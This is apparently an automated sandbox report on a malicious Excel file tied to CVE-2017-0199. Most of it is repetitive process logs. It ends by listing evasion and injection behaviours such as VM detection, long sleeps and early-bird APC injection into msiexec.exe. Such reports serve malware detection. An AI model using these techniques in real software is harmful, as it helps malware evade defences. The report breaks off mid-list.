Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx Stream path 'Workbook' entropy: 7.97427782601 (max. 8.0)
Source: C0230000.0.dr Stream path 'Workbook' entropy: 7.97399110603 (max. 8.0)

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\msiexec.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1466 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6316 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2752 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3611 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3349 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6548 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 3632 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3804 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3776 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3840 Thread sleep count: 2752 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3840 Thread sleep count: 3611 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3876 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3880 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3852 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3024 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 804 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2136 Thread sleep time: -180000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\msiexec.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\msiexec.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004062A3 FindFirstFileA,FindClose, 11_2_004062A3
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_00405768 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 11_2_00405768
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004026FE FindFirstFileA, 11_2_004026FE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\wlanext.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06711653 LdrInitializeThunk, 17_2_06711653
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Early bird code injection technique detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 1710000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
